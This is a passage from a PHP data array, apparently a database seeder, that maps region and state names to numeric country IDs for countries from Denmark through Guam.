'58', 'name' => 'frederiksborg'],\n ['country_id' => '58', 'name' => 'fyn'],\n ['country_id' => '58', 'name' => 'hovedstaden'],\n ['country_id' => '58', 'name' => 'kobenhavn'],\n ['country_id' => '58', 'name' => 'kobenhavns amt'],\n ['country_id' => '58', 'name' => 'kobenhavns kommune'],\n ['country_id' => '58', 'name' => 'nordjylland'],\n ['country_id' => '58', 'name' => 'ribe'],\n ['country_id' => '58', 'name' => 'ringkobing'],\n ['country_id' => '58', 'name' => 'roervig'],\n ['country_id' => '58', 'name' => 'roskilde'],\n ['country_id' => '58', 'name' => 'roslev'],\n ['country_id' => '58', 'name' => 'sjaelland'],\n ['country_id' => '58', 'name' => 'soeborg'],\n ['country_id' => '58', 'name' => 'sonderjylland'],\n ['country_id' => '58', 'name' => 'storstrom'],\n ['country_id' => '58', 'name' => 'syddanmark'],\n ['country_id' => '58', 'name' => 'toelloese'],\n ['country_id' => '58', 'name' => 'vejle'],\n ['country_id' => '58', 'name' => 'vestsjalland'],\n ['country_id' => '58', 'name' => 'viborg'],\n ['country_id' => '59', 'name' => '\\'ali sabih'],\n ['country_id' => '59', 'name' => 'dikhil'],\n ['country_id' => '59', 'name' => 'jibuti'],\n ['country_id' => '59', 'name' => 'tajurah'],\n ['country_id' => '59', 'name' => 'ubuk'],\n ['country_id' => '60', 'name' => 'saint andrew'],\n ['country_id' => '60', 'name' => 'saint david'],\n ['country_id' => '60', 'name' => 'saint george'],\n ['country_id' => '60', 'name' => 'saint john'],\n ['country_id' => '60', 'name' => 'saint joseph'],\n ['country_id' => '60', 'name' => 'saint luke'],\n ['country_id' => '60', 'name' => 'saint mark'],\n ['country_id' => '60', 'name' => 'saint patrick'],\n ['country_id' => '60', 'name' => 'saint paul'],\n ['country_id' => '60', 'name' => 'saint peter'],\n ['country_id' => '61', 'name' => 'azua'],\n ['country_id' => '61', 'name' => 'bahoruco'],\n ['country_id' => '61', 'name' => 'barahona'],\n ['country_id' => '61', 'name' => 'dajabon'],\n ['country_id' => '61', 'name' => 'distrito nacional'],\n ['country_id' => '61', 'name' => 'duarte'],\n ['country_id' => '61', 'name' => 'el seybo'],\n ['country_id' => '61', 'name' => 'elias pina'],\n ['country_id' => '61', 'name' => 'espaillat'],\n ['country_id' => '61', 'name' => 'hato mayor'],\n ['country_id' => '61', 'name' => 'independencia'],\n ['country_id' => '61', 'name' => 'la altagracia'],\n ['country_id' => '61', 'name' => 'la romana'],\n ['country_id' => '61', 'name' => 'la vega'],\n ['country_id' => '61', 'name' => 'maria trinidad sanchez'],\n ['country_id' => '61', 'name' => 'monsenor nouel'],\n ['country_id' => '61', 'name' => 'monte cristi'],\n ['country_id' => '61', 'name' => 'monte plata'],\n ['country_id' => '61', 'name' => 'pedernales'],\n ['country_id' => '61', 'name' => 'peravia'],\n ['country_id' => '61', 'name' => 'puerto plata'],\n ['country_id' => '61', 'name' => 'salcedo'],\n ['country_id' => '61', 'name' => 'samana'],\n ['country_id' => '61', 'name' => 'san cristobal'],\n ['country_id' => '61', 'name' => 'san juan'],\n ['country_id' => '61', 'name' => 'san pedro de macoris'],\n ['country_id' => '61', 'name' => 'sanchez ramirez'],\n ['country_id' => '61', 'name' => 'santiago'],\n ['country_id' => '61', 'name' => 'santiago rodriguez'],\n ['country_id' => '61', 'name' => 'valverde'],\n ['country_id' => '62', 'name' => 'aileu'],\n ['country_id' => '62', 'name' => 'ainaro'],\n ['country_id' => '62', 'name' => 'ambeno'],\n ['country_id' => '62', 'name' => 'baucau'],\n ['country_id' => '62', 'name' => 'bobonaro'],\n ['country_id' => '62', 'name' => 'cova lima'],\n ['country_id' => '62', 'name' => 'dili'],\n ['country_id' => '62', 'name' => 'ermera'],\n ['country_id' => '62', 'name' => 'lautem'],\n ['country_id' => '62', 'name' => 'liquica'],\n ['country_id' => '62', 'name' => 'manatuto'],\n ['country_id' => '62', 'name' => 'manufahi'],\n ['country_id' => '62', 'name' => 'viqueque'],\n ['country_id' => '63', 'name' => 'azuay'],\n ['country_id' => '63', 'name' => 'bolivar'],\n ['country_id' => '63', 'name' => 'canar'],\n ['country_id' => '63', 'name' => 'carchi'],\n ['country_id' => '63', 'name' => 'chimborazo'],\n ['country_id' => '63', 'name' => 'cotopaxi'],\n ['country_id' => '63', 'name' => 'el oro'],\n ['country_id' => '63', 'name' => 'esmeraldas'],\n ['country_id' => '63', 'name' => 'galapagos'],\n ['country_id' => '63', 'name' => 'guayas'],\n ['country_id' => '63', 'name' => 'imbabura'],\n ['country_id' => '63', 'name' => 'loja'],\n ['country_id' => '63', 'name' => 'los rios'],\n ['country_id' => '63', 'name' => 'manabi'],\n ['country_id' => '63', 'name' => 'morona santiago'],\n ['country_id' => '63', 'name' => 'napo'],\n ['country_id' => '63', 'name' => 'orellana'],\n ['country_id' => '63', 'name' => 'pastaza'],\n ['country_id' => '63', 'name' => 'pichincha'],\n ['country_id' => '63', 'name' => 'sucumbios'],\n ['country_id' => '63', 'name' => 'tungurahua'],\n ['country_id' => '63', 'name' => 'zamora chinchipe'],\n ['country_id' => '64', 'name' => 'aswan'],\n ['country_id' => '64', 'name' => 'asyut'],\n ['country_id' => '64', 'name' => 'bani suwayf'],\n ['country_id' => '64', 'name' => 'bur sa\\'id'],\n ['country_id' => '64', 'name' => 'cairo'],\n ['country_id' => '64', 'name' => 'dumyat'],\n ['country_id' => '64', 'name' => 'kafr-ash-shaykh'],\n ['country_id' => '64', 'name' => 'matruh'],\n ['country_id' => '64', 'name' => 'muhafazat ad daqahliyah'],\n ['country_id' => '64', 'name' => 'muhafazat al fayyum'],\n ['country_id' => '64', 'name' => 'muhafazat al gharbiyah'],\n ['country_id' => '64', 'name' => 'muhafazat al iskandariyah'],\n ['country_id' => '64', 'name' => 'muhafazat al qahirah'],\n ['country_id' => '64', 'name' => 'qina'],\n ['country_id' => '64', 'name' => 'sawhaj'],\n ['country_id' => '64', 'name' => 'sina al-janubiyah'],\n ['country_id' => '64', 'name' => 'sina ash-shamaliyah'],\n ['country_id' => '64', 'name' => 'ad-daqahliyah'],\n ['country_id' => '64', 'name' => 'al-bahr-al-ahmar'],\n ['country_id' => '64', 'name' => 'al-buhayrah'],\n ['country_id' => '64', 'name' => 'al-fayyum'],\n ['country_id' => '64', 'name' => 'al-gharbiyah'],\n ['country_id' => '64', 'name' => 'al-iskandariyah'],\n ['country_id' => '64', 'name' => 'al-ismailiyah'],\n ['country_id' => '64', 'name' => 'al-jizah'],\n ['country_id' => '64', 'name' => 'al-minufiyah'],\n ['country_id' => '64', 'name' => 'al-minya'],\n ['country_id' => '64', 'name' => 'al-qahira'],\n ['country_id' => '64', 'name' => 'al-qalyubiyah'],\n ['country_id' => '64', 'name' => 'al-uqsur'],\n ['country_id' => '64', 'name' => 'al-wadi al-jadid'],\n ['country_id' => '64', 'name' => 'as-suways'],\n ['country_id' => '64', 'name' => 'ash-sharqiyah'],\n ['country_id' => '65', 'name' => 'ahuachapan'],\n ['country_id' => '65', 'name' => 'cabanas'],\n ['country_id' => '65', 'name' => 'chalatenango'],\n ['country_id' => '65', 'name' => 'cuscatlan'],\n ['country_id' => '65', 'name' => 'la libertad'],\n ['country_id' => '65', 'name' => 'la paz'],\n ['country_id' => '65', 'name' => 'la union'],\n ['country_id' => '65', 'name' => 'morazan'],\n ['country_id' => '65', 'name' => 'san miguel'],\n ['country_id' => '65', 'name' => 'san salvador'],\n ['country_id' => '65', 'name' => 'san vicente'],\n ['country_id' => '65', 'name' => 'santa ana'],\n ['country_id' => '65', 'name' => 'sonsonate'],\n ['country_id' => '65', 'name' => 'usulutan'],\n ['country_id' => '66', 'name' => 'annobon'],\n ['country_id' => '66', 'name' => 'bioko norte'],\n ['country_id' => '66', 'name' => 'bioko sur'],\n ['country_id' => '66', 'name' => 'centro sur'],\n ['country_id' => '66', 'name' => 'kie-ntem'],\n ['country_id' => '66', 'name' => 'litoral'],\n ['country_id' => '66', 'name' => 'wele-nzas'],\n ['country_id' => '67', 'name' => 'anseba'],\n ['country_id' => '67', 'name' => 'debub'],\n ['country_id' => '67', 'name' => 'debub-keih-bahri'],\n ['country_id' => '67', 'name' => 'gash-barka'],\n ['country_id' => '67', 'name' => 'maekel'],\n ['country_id' => '67', 'name' => 'semien-keih-bahri'],\n ['country_id' => '68', 'name' => 'harju'],\n ['country_id' => '68', 'name' => 'hiiu'],\n ['country_id' => '68', 'name' => 'ida-viru'],\n ['country_id' => '68', 'name' => 'jarva'],\n ['country_id' => '68', 'name' => 'jogeva'],\n ['country_id' => '68', 'name' => 'laane'],\n ['country_id' => '68', 'name' => 'laane-viru'],\n ['country_id' => '68', 'name' => 'parnu'],\n ['country_id' => '68', 'name' => 'polva'],\n ['country_id' => '68', 'name' => 'rapla'],\n ['country_id' => '68', 'name' => 'saare'],\n ['country_id' => '68', 'name' => 'tartu'],\n ['country_id' => '68', 'name' => 'valga'],\n ['country_id' => '68', 'name' => 'viljandi'],\n ['country_id' => '68', 'name' => 'voru'],\n ['country_id' => '69', 'name' => 'addis abeba'],\n ['country_id' => '69', 'name' => 'afar'],\n ['country_id' => '69', 'name' => 'amhara'],\n ['country_id' => '69', 'name' => 'benishangul'],\n ['country_id' => '69', 'name' => 'diredawa'],\n ['country_id' => '69', 'name' => 'gambella'],\n ['country_id' => '69', 'name' => 'harar'],\n ['country_id' => '69', 'name' => 'jigjiga'],\n ['country_id' => '69', 'name' => 'mekele'],\n ['country_id' => '69', 'name' => 'oromia'],\n ['country_id' => '69', 'name' => 'somali'],\n ['country_id' => '69', 'name' => 'southern'],\n ['country_id' => '69', 'name' => 'tigray'],\n ['country_id' => '70', 'name' => 'christmas island'],\n ['country_id' => '70', 'name' => 'cocos islands'],\n ['country_id' => '70', 'name' => 'coral sea islands'],\n ['country_id' => '71', 'name' => 'falkland islands'],\n ['country_id' => '71', 'name' => 'south georgia'],\n ['country_id' => '72', 'name' => 'klaksvik'],\n ['country_id' => '72', 'name' => 'nor ara eysturoy'],\n ['country_id' => '72', 'name' => 'nor oy'],\n ['country_id' => '72', 'name' => 'sandoy'],\n ['country_id' => '72', 'name' => 'streymoy'],\n ['country_id' => '72', 'name' => 'su uroy'],\n ['country_id' => '72', 'name' => 'sy ra eysturoy'],\n ['country_id' => '72', 'name' => 'torshavn'],\n ['country_id' => '72', 'name' => 'vaga'],\n ['country_id' => '73', 'name' => 'central'],\n ['country_id' => '73', 'name' => 'eastern'],\n ['country_id' => '73', 'name' => 'northern'],\n ['country_id' => '73', 'name' => 'south pacific'],\n ['country_id' => '73', 'name' => 'western'],\n ['country_id' => '74', 'name' => 'ahvenanmaa'],\n ['country_id' => '74', 'name' => 'etela-karjala'],\n ['country_id' => '74', 'name' => 'etela-pohjanmaa'],\n ['country_id' => '74', 'name' => 'etela-savo'],\n ['country_id' => '74', 'name' => 'etela-suomen laani'],\n ['country_id' => '74', 'name' => 'ita-suomen laani'],\n ['country_id' => '74', 'name' => 'ita-uusimaa'],\n ['country_id' => '74', 'name' => 'kainuu'],\n ['country_id' => '74', 'name' => 'kanta-hame'],\n ['country_id' => '74', 'name' => 'keski-pohjanmaa'],\n ['country_id' => '74', 'name' => 'keski-suomi'],\n ['country_id' => '74', 'name' => 'kymenlaakso'],\n ['country_id' => '74', 'name' => 'lansi-suomen laani'],\n ['country_id' => '74', 'name' => 'lappi'],\n ['country_id' => '74', 'name' => 'northern savonia'],\n ['country_id' => '74', 'name' => 'ostrobothnia'],\n ['country_id' => '74', 'name' => 'oulun laani'],\n ['country_id' => '74', 'name' => 'paijat-hame'],\n ['country_id' => '74', 'name' => 'pirkanmaa'],\n ['country_id' => '74', 'name' => 'pohjanmaa'],\n ['country_id' => '74', 'name' => 'pohjois-karjala'],\n ['country_id' => '74', 'name' => 'pohjois-pohjanmaa'],\n ['country_id' => '74', 'name' => 'pohjois-savo'],\n ['country_id' => '74', 'name' => 'saarijarvi'],\n ['country_id' => '74', 'name' => 'satakunta'],\n ['country_id' => '74', 'name' => 'southern savonia'],\n ['country_id' => '74', 'name' => 'tavastia proper'],\n ['country_id' => '74', 'name' => 'uleaborgs lan'],\n ['country_id' => '74', 'name' => 'uusimaa'],\n ['country_id' => '74', 'name' => 'varsinais-suomi'],\n ['country_id' => '75', 'name' => 'ain'],\n ['country_id' => '75', 'name' => 'aisne'],\n ['country_id' => '75', 'name' => 'albi le sequestre'],\n ['country_id' => '75', 'name' => 'allier'],\n ['country_id' => '75', 'name' => 'alpes-cote dazur'],\n ['country_id' => '75', 'name' => 'alpes-maritimes'],\n ['country_id' => '75', 'name' => 'alpes-de-haute-provence'],\n ['country_id' => '75', 'name' => 'alsace'],\n ['country_id' => '75', 'name' => 'aquitaine'],\n ['country_id' => '75', 'name' => 'ardeche'],\n ['country_id' => '75', 'name' => 'ardennes'],\n ['country_id' => '75', 'name' => 'ariege'],\n ['country_id' => '75', 'name' => 'aube'],\n ['country_id' => '75', 'name' => 'aude'],\n ['country_id' => '75', 'name' => 'auvergne'],\n ['country_id' => '75', 'name' => 'aveyron'],\n ['country_id' => '75', 'name' => 'bas-rhin'],\n ['country_id' => '75', 'name' => 'basse-normandie'],\n ['country_id' => '75', 'name' => 'bouches-du-rhone'],\n ['country_id' => '75', 'name' => 'bourgogne'],\n ['country_id' => '75', 'name' => 'bretagne'],\n ['country_id' => '75', 'name' => 'brittany'],\n ['country_id' => '75', 'name' => 'burgundy'],\n ['country_id' => '75', 'name' => 'calvados'],\n ['country_id' => '75', 'name' => 'cantal'],\n ['country_id' => '75', 'name' => 'cedex'],\n ['country_id' => '75', 'name' => 'centre'],\n ['country_id' => '75', 'name' => 'charente'],\n ['country_id' => '75', 'name' => 'charente-maritime'],\n ['country_id' => '75', 'name' => 'cher'],\n ['country_id' => '75', 'name' => 'correze'],\n ['country_id' => '75', 'name' => 'corse-du-sud'],\n ['country_id' => '75', 'name' => 'cote-d\\'or'],\n ['country_id' => '75', 'name' => 'cotes-d\\'armor'],\n ['country_id' => '75', 'name' => 'creuse'],\n ['country_id' => '75', 'name' => 'crolles'],\n ['country_id' => '75', 'name' => 'deux-sevres'],\n ['country_id' => '75', 'name' => 'dordogne'],\n ['country_id' => '75', 'name' => 'doubs'],\n ['country_id' => '75', 'name' => 'drome'],\n ['country_id' => '75', 'name' => 'essonne'],\n ['country_id' => '75', 'name' => 'eure'],\n ['country_id' => '75', 'name' => 'eure-et-loir'],\n ['country_id' => '75', 'name' => 'feucherolles'],\n ['country_id' => '75', 'name' => 'finistere'],\n ['country_id' => '75', 'name' => 'franche-comte'],\n ['country_id' => '75', 'name' => 'gard'],\n ['country_id' => '75', 'name' => 'gers'],\n ['country_id' => '75', 'name' => 'gironde'],\n ['country_id' => '75', 'name' => 'haut-rhin'],\n ['country_id' => '75', 'name' => 'haute-corse'],\n ['country_id' => '75', 'name' => 'haute-garonne'],\n ['country_id' => '75', 'name' => 'haute-loire'],\n ['country_id' => '75', 'name' => 'haute-marne'],\n ['country_id' => '75', 'name' => 'haute-saone'],\n ['country_id' => '75', 'name' => 'haute-savoie'],\n ['country_id' => '75', 'name' => 'haute-vienne'],\n ['country_id' => '75', 'name' => 'hautes-alpes'],\n ['country_id' => '75', 'name' => 'hautes-pyrenees'],\n ['country_id' => '75', 'name' => 'hauts-de-seine'],\n ['country_id' => '75', 'name' => 'herault'],\n ['country_id' => '75', 'name' => 'ile-de-france'],\n ['country_id' => '75', 'name' => 'ille-et-vilaine'],\n ['country_id' => '75', 'name' => 'indre'],\n ['country_id' => '75', 'name' => 'indre-et-loire'],\n ['country_id' => '75', 'name' => 'isere'],\n ['country_id' => '75', 'name' => 'jura'],\n ['country_id' => '75', 'name' => 'klagenfurt'],\n ['country_id' => '75', 'name' => 'landes'],\n ['country_id' => '75', 'name' => 'languedoc-roussillon'],\n ['country_id' => '75', 'name' => 'larcay'],\n ['country_id' => '75', 'name' => 'le castellet'],\n ['country_id' => '75', 'name' => 'le creusot'],\n ['country_id' => '75', 'name' => 'limousin'],\n ['country_id' => '75', 'name' => 'loir-et-cher'],\n ['country_id' => '75', 'name' => 'loire'],\n ['country_id' => '75', 'name' => 'loire-atlantique'],\n ['country_id' => '75', 'name' => 'loiret'],\n ['country_id' => '75', 'name' => 'lorraine'],\n ['country_id' => '75', 'name' => 'lot'],\n ['country_id' => '75', 'name' => 'lot-et-garonne'],\n ['country_id' => '75', 'name' => 'lower normandy'],\n ['country_id' => '75', 'name' => 'lozere'],\n ['country_id' => '75', 'name' => 'maine-et-loire'],\n ['country_id' => '75', 'name' => 'manche'],\n ['country_id' => '75', 'name' => 'marne'],\n ['country_id' => '75', 'name' => 'mayenne'],\n ['country_id' => '75', 'name' => 'meurthe-et-moselle'],\n ['country_id' => '75', 'name' => 'meuse'],\n ['country_id' => '75', 'name' => 'midi-pyrenees'],\n ['country_id' => '75', 'name' => 'morbihan'],\n ['country_id' => '75', 'name' => 'moselle'],\n ['country_id' => '75', 'name' => 'nievre'],\n ['country_id' => '75', 'name' => 'nord'],\n ['country_id' => '75', 'name' => 'nord-pas-de-calais'],\n ['country_id' => '75', 'name' => 'oise'],\n ['country_id' => '75', 'name' => 'orne'],\n ['country_id' => '75', 'name' => 'paris'],\n ['country_id' => '75', 'name' => 'pas-de-calais'],\n ['country_id' => '75', 'name' => 'pays de la loire'],\n ['country_id' => '75', 'name' => 'pays-de-la-loire'],\n ['country_id' => '75', 'name' => 'picardy'],\n ['country_id' => '75', 'name' => 'puy-de-dome'],\n ['country_id' => '75', 'name' => 'pyrenees-atlantiques'],\n ['country_id' => '75', 'name' => 'pyrenees-orientales'],\n ['country_id' => '75', 'name' => 'quelmes'],\n ['country_id' => '75', 'name' => 'rhone'],\n ['country_id' => '75', 'name' => 'rhone-alpes'],\n ['country_id' => '75', 'name' => 'saint ouen'],\n ['country_id' => '75', 'name' => 'saint viatre'],\n ['country_id' => '75', 'name' => 'saone-et-loire'],\n ['country_id' => '75', 'name' => 'sarthe'],\n ['country_id' => '75', 'name' => 'savoie'],\n ['country_id' => '75', 'name' => 'seine-maritime'],\n ['country_id' => '75', 'name' => 'seine-saint-denis'],\n ['country_id' => '75', 'name' => 'seine-et-marne'],\n ['country_id' => '75', 'name' => 'somme'],\n ['country_id' => '75', 'name' => 'sophia antipolis'],\n ['country_id' => '75', 'name' => 'souvans'],\n ['country_id' => '75', 'name' => 'tarn'],\n ['country_id' => '75', 'name' => 'tarn-et-garonne'],\n ['country_id' => '75', 'name' => 'territoire de belfort'],\n ['country_id' => '75', 'name' => 'treignac'],\n ['country_id' => '75', 'name' => 'upper normandy'],\n ['country_id' => '75', 'name' => 'val-d\\'oise'],\n ['country_id' => '75', 'name' => 'val-de-marne'],\n ['country_id' => '75', 'name' => 'var'],\n ['country_id' => '75', 'name' => 'vaucluse'],\n ['country_id' => '75', 'name' => 'vellise'],\n ['country_id' => '75', 'name' => 'vendee'],\n ['country_id' => '75', 'name' => 'vienne'],\n ['country_id' => '75', 'name' => 'vosges'],\n ['country_id' => '75', 'name' => 'yonne'],\n ['country_id' => '75', 'name' => 'yvelines'],\n ['country_id' => '76', 'name' => 'cayenne'],\n ['country_id' => '76', 'name' => 'saint-laurent-du-maroni'],\n ['country_id' => '77', 'name' => 'iles du vent'],\n ['country_id' => '77', 'name' => 'iles sous le vent'],\n ['country_id' => '77', 'name' => 'marquesas'],\n ['country_id' => '77', 'name' => 'tuamotu'],\n ['country_id' => '77', 'name' => 'tubuai'],\n ['country_id' => '78', 'name' => 'amsterdam'],\n ['country_id' => '78', 'name' => 'crozet islands'],\n ['country_id' => '78', 'name' => 'kerguelen'],\n ['country_id' => '79', 'name' => 'estuaire'],\n ['country_id' => '79', 'name' => 'haut-ogooue'],\n ['country_id' => '79', 'name' => 'moyen-ogooue'],\n ['country_id' => '79', 'name' => 'ngounie'],\n ['country_id' => '79', 'name' => 'nyanga'],\n ['country_id' => '79', 'name' => 'ogooue-ivindo'],\n ['country_id' => '79', 'name' => 'ogooue-lolo'],\n ['country_id' => '79', 'name' => 'ogooue-maritime'],\n ['country_id' => '79', 'name' => 'woleu-ntem'],\n ['country_id' => '80', 'name' => 'banjul'],\n ['country_id' => '80', 'name' => 'basse'],\n ['country_id' => '80', 'name' => 'brikama'],\n ['country_id' => '80', 'name' => 'janjanbureh'],\n ['country_id' => '80', 'name' => 'kanifing'],\n ['country_id' => '80', 'name' => 'kerewan'],\n ['country_id' => '80', 'name' => 'kuntaur'],\n ['country_id' => '80', 'name' => 'mansakonko'],\n ['country_id' => '81', 'name' => 'abhasia'],\n ['country_id' => '81', 'name' => 'ajaria'],\n ['country_id' => '81', 'name' => 'guria'],\n ['country_id' => '81', 'name' => 'imereti'],\n ['country_id' => '81', 'name' => 'kaheti'],\n ['country_id' => '81', 'name' => 'kvemo kartli'],\n ['country_id' => '81', 'name' => 'mcheta-mtianeti'],\n ['country_id' => '81', 'name' => 'racha'],\n ['country_id' => '81', 'name' => 'samagrelo-zemo svaneti'],\n ['country_id' => '81', 'name' => 'samche-zhavaheti'],\n ['country_id' => '81', 'name' => 'shida kartli'],\n ['country_id' => '81', 'name' => 'tbilisi'],\n ['country_id' => '82', 'name' => 'auvergne'],\n ['country_id' => '82', 'name' => 'baden-wurttemberg'],\n ['country_id' => '82', 'name' => 'bavaria'],\n ['country_id' => '82', 'name' => 'bayern'],\n ['country_id' => '82', 'name' => 'beilstein wurtt'],\n ['country_id' => '82', 'name' => 'berlin'],\n ['country_id' => '82', 'name' => 'brandenburg'],\n ['country_id' => '82', 'name' => 'bremen'],\n ['country_id' => '82', 'name' => 'dreisbach'],\n ['country_id' => '82', 'name' => 'freistaat bayern'],\n ['country_id' => '82', 'name' => 'hamburg'],\n ['country_id' => '82', 'name' => 'hannover'],\n ['country_id' => '82', 'name' => 'heroldstatt'],\n ['country_id' => '82', 'name' => 'hessen'],\n ['country_id' => '82', 'name' => 'kortenberg'],\n ['country_id' => '82', 'name' => 'laasdorf'],\n ['country_id' => '82', 'name' => 'land baden-wurttemberg'],\n ['country_id' => '82', 'name' => 'land bayern'],\n ['country_id' => '82', 'name' => 'land brandenburg'],\n ['country_id' => '82', 'name' => 'land hessen'],\n ['country_id' => '82', 'name' => 'land mecklenburg-vorpommern'],\n ['country_id' => '82', 'name' => 'land nordrhein-westfalen'],\n ['country_id' => '82', 'name' => 'land rheinland-pfalz'],\n ['country_id' => '82', 'name' => 'land sachsen'],\n ['country_id' => '82', 'name' => 'land sachsen-anhalt'],\n ['country_id' => '82', 'name' => 'land thuringen'],\n ['country_id' => '82', 'name' => 'lower saxony'],\n ['country_id' => '82', 'name' => 'mecklenburg-vorpommern'],\n ['country_id' => '82', 'name' => 'mulfingen'],\n ['country_id' => '82', 'name' => 'munich'],\n ['country_id' => '82', 'name' => 'neubeuern'],\n ['country_id' => '82', 'name' => 'niedersachsen'],\n ['country_id' => '82', 'name' => 'noord-holland'],\n ['country_id' => '82', 'name' => 'nordrhein-westfalen'],\n ['country_id' => '82', 'name' => 'north rhine-westphalia'],\n ['country_id' => '82', 'name' => 'osterode'],\n ['country_id' => '82', 'name' => 'rheinland-pfalz'],\n ['country_id' => '82', 'name' => 'rhineland-palatinate'],\n ['country_id' => '82', 'name' => 'saarland'],\n ['country_id' => '82', 'name' => 'sachsen'],\n ['country_id' => '82', 'name' => 'sachsen-anhalt'],\n ['country_id' => '82', 'name' => 'saxony'],\n ['country_id' => '82', 'name' => 'schleswig-holstein'],\n ['country_id' => '82', 'name' => 'thuringia'],\n ['country_id' => '82', 'name' => 'webling'],\n ['country_id' => '82', 'name' => 'weinstrabe'],\n ['country_id' => '82', 'name' => 'schlobborn'],\n ['country_id' => '83', 'name' => 'ashanti'],\n ['country_id' => '83', 'name' => 'brong-ahafo'],\n ['country_id' => '83', 'name' => 'central'],\n ['country_id' => '83', 'name' => 'eastern'],\n ['country_id' => '83', 'name' => 'greater accra'],\n ['country_id' => '83', 'name' => 'northern'],\n ['country_id' => '83', 'name' => 'upper east'],\n ['country_id' => '83', 'name' => 'upper west'],\n ['country_id' => '83', 'name' => 'volta'],\n ['country_id' => '83', 'name' => 'western'],\n ['country_id' => '84', 'name' => 'gibraltar'],\n ['country_id' => '85', 'name' => 'acharnes'],\n ['country_id' => '85', 'name' => 'ahaia'],\n ['country_id' => '85', 'name' => 'aitolia kai akarnania'],\n ['country_id' => '85', 'name' => 'argolis'],\n ['country_id' => '85', 'name' => 'arkadia'],\n ['country_id' => '85', 'name' => 'arta'],\n ['country_id' => '85', 'name' => 'attica'],\n ['country_id' => '85', 'name' => 'attiki'],\n ['country_id' => '85', 'name' => 'ayion oros'],\n ['country_id' => '85', 'name' => 'crete'],\n ['country_id' => '85', 'name' => 'dodekanisos'],\n ['country_id' => '85', 'name' => 'drama'],\n ['country_id' => '85', 'name' => 'evia'],\n ['country_id' => '85', 'name' => 'evritania'],\n ['country_id' => '85', 'name' => 'evros'],\n ['country_id' => '85', 'name' => 'evvoia'],\n ['country_id' => '85', 'name' => 'florina'],\n ['country_id' => '85', 'name' => 'fokis'],\n ['country_id' => '85', 'name' => 'fthiotis'],\n ['country_id' => '85', 'name' => 'grevena'],\n ['country_id' => '85', 'name' => 'halandri'],\n ['country_id' => '85', 'name' => 'halkidiki'],\n ['country_id' => '85', 'name' => 'hania'],\n ['country_id' => '85', 'name' => 'heraklion'],\n ['country_id' => '85', 'name' => 'hios'],\n ['country_id' => '85', 'name' => 'ilia'],\n ['country_id' => '85', 'name' => 'imathia'],\n ['country_id' => '85', 'name' => 'ioannina'],\n ['country_id' => '85', 'name' => 'iraklion'],\n ['country_id' => '85', 'name' => 'karditsa'],\n ['country_id' => '85', 'name' => 'kastoria'],\n ['country_id' => '85', 'name' => 'kavala'],\n ['country_id' => '85', 'name' => 'kefallinia'],\n ['country_id' => '85', 'name' => 'kerkira'],\n ['country_id' => '85', 'name' => 'kiklades'],\n ['country_id' => '85', 'name' => 'kilkis'],\n ['country_id' => '85', 'name' => 'korinthia'],\n ['country_id' => '85', 'name' => 'kozani'],\n ['country_id' => '85', 'name' => 'lakonia'],\n ['country_id' => '85', 'name' => 'larisa'],\n ['country_id' => '85', 'name' => 'lasithi'],\n ['country_id' => '85', 'name' => 'lesvos'],\n ['country_id' => '85', 'name' => 'levkas'],\n ['country_id' => '85', 'name' => 'magnisia'],\n ['country_id' => '85', 'name' => 'messinia'],\n ['country_id' => '85', 'name' => 'nomos attikis'],\n ['country_id' => '85', 'name' => 'nomos zakynthou'],\n ['country_id' => '85', 'name' => 'pella'],\n ['country_id' => '85', 'name' => 'pieria'],\n ['country_id' => '85', 'name' => 'piraios'],\n ['country_id' => '85', 'name' => 'preveza'],\n ['country_id' => '85', 'name' => 'rethimni'],\n ['country_id' => '85', 'name' => 'rodopi'],\n ['country_id' => '85', 'name' => 'samos'],\n ['country_id' => '85', 'name' => 'serrai'],\n ['country_id' => '85', 'name' => 'thesprotia'],\n ['country_id' => '85', 'name' => 'thessaloniki'],\n ['country_id' => '85', 'name' => 'trikala'],\n ['country_id' => '85', 'name' => 'voiotia'],\n ['country_id' => '85', 'name' => 'west greece'],\n ['country_id' => '85', 'name' => 'xanthi'],\n ['country_id' => '85', 'name' => 'zakinthos'],\n ['country_id' => '86', 'name' => 'aasiaat'],\n ['country_id' => '86', 'name' => 'ammassalik'],\n ['country_id' => '86', 'name' => 'illoqqortoormiut'],\n ['country_id' => '86', 'name' => 'ilulissat'],\n ['country_id' => '86', 'name' => 'ivittuut'],\n ['country_id' => '86', 'name' => 'kangaatsiaq'],\n ['country_id' => '86', 'name' => 'maniitsoq'],\n ['country_id' => '86', 'name' => 'nanortalik'],\n ['country_id' => '86', 'name' => 'narsaq'],\n ['country_id' => '86', 'name' => 'nuuk'],\n ['country_id' => '86', 'name' => 'paamiut'],\n ['country_id' => '86', 'name' => 'qaanaaq'],\n ['country_id' => '86', 'name' => 'qaqortoq'],\n ['country_id' => '86', 'name' => 'qasigiannguit'],\n ['country_id' => '86', 'name' => 'qeqertarsuaq'],\n ['country_id' => '86', 'name' => 'sisimiut'],\n ['country_id' => '86', 'name' => 'udenfor kommunal inddeling'],\n ['country_id' => '86', 'name' => 'upernavik'],\n ['country_id' => '86', 'name' => 'uummannaq'],\n ['country_id' => '87', 'name' => 'carriacou-petite martinique'],\n ['country_id' => '87', 'name' => 'saint andrew'],\n ['country_id' => '87', 'name' => 'saint davids'],\n ['country_id' => '87', 'name' => 'saint george\\'s'],\n ['country_id' => '87', 'name' => 'saint john'],\n ['country_id' => '87', 'name' => 'saint mark'],\n ['country_id' => '87', 'name' => 'saint patrick'],\n ['country_id' => '88', 'name' => 'basse-terre'],\n ['country_id' => '88', 'name' => 'grande-terre'],\n ['country_id' => '88', 'name' => 'iles des saintes'],\n ['country_id' => '88', 'name' => 'la desirade'],\n ['country_id' => '88', 'name' => 'marie-galante'],\n ['country_id' => '88', 'name' => 'saint barthelemy'],\n ['country_id' => '88', 'name' => 'saint martin'],\n ['country_id' => '89', 'name' => 'agana heights'],\n ['country_id' => '89', 'name' => 'agat'],\n ['country_id' => '89', 'name' => 'barrigada'],\n ['country_id' => '89', 'name' => 'chalan-pago-ordot'],\n ['country_id' => '89', 'name' => 'dededo'],\n ['country_id' => '89', 'name' => 'hagatna'],\n ['country_id' => '89', 'name' => 'inarajan'],\n ['country_id' => '89', 'name' => 'mangilao'],\n ['country_id' => '89', 'name' => 'merizo'],\n ['country_id' => '89', 'name' => 'mongmong-toto-maite'],\n ['country_id' => '89', 'name' => 'santa rita'],\n ['country_id' => '89', 'name' => 'sinajana'],\n ['country_id' => '89', 'name' => 'talofofo'],\n ['country_id' => '89', 'name' => 'tamuning'],\n ['country_id' => '89', 'name' => 'yigo'],\n ['country_id' => '89', 'name' => 'yona'],\n ['country_id' => 